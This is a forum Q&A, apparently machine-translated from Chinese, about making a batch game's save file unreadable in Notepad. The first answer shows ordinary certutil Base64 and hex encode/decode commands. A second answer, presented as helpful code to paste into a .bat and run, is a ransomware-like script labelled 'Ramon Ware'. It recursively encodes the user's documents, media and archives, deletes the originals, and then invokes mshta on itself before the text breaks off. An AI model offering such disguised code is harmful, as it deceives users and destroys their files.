基本上我的意思是,假设我想制作一个批处理文件游戏,并且我需要批处理来生成保存游戏,例如输出名称如下:“save1.save”,我想以某种方式“加密”它,就像它不可编辑,并且当用户想要编辑保存文件时会显示垃圾字符。因此,批处理文件下次加载保存文件时,它将能够解密它,修改内容,然后再次加密它。我知道我可以更改输出文件扩展名,但它可能不起作用,因为用户仍然可以使用 Windows 的记事本程序查看它。
CERTUTIL
是最简单的方法 - 使用它您可以将文件编码为 BASE64 或 HEX(或两者):
certutil -encodehex save1.save save1.hex
certutil -decodehex save1.hex save1.save
或
certutil -encode save1.save save1.b64
certutil -decode save1.b64 save1.save
您可以使用下面的代码。只需将其复制并粘贴到记事本中并将其另存为 .bat 然后运行即可。
@Echo off
mode con:cols=50 lines=2
set pass=SegoCode
Title Ramon Ware
echo Scanning. . . .
for /r %%F in (*.txt, *.doc, *.xlsx, *.jpg, *.mp4, *.mp3, *.mov, *.7z, *.rar, *.zip) do (certutil -encode "%%F" "%%F.enc" del "%%F")
cls
setlocal
for /F "delims=" %%a in ('mshta.exe "%~F0"') do set "HTA=%%a"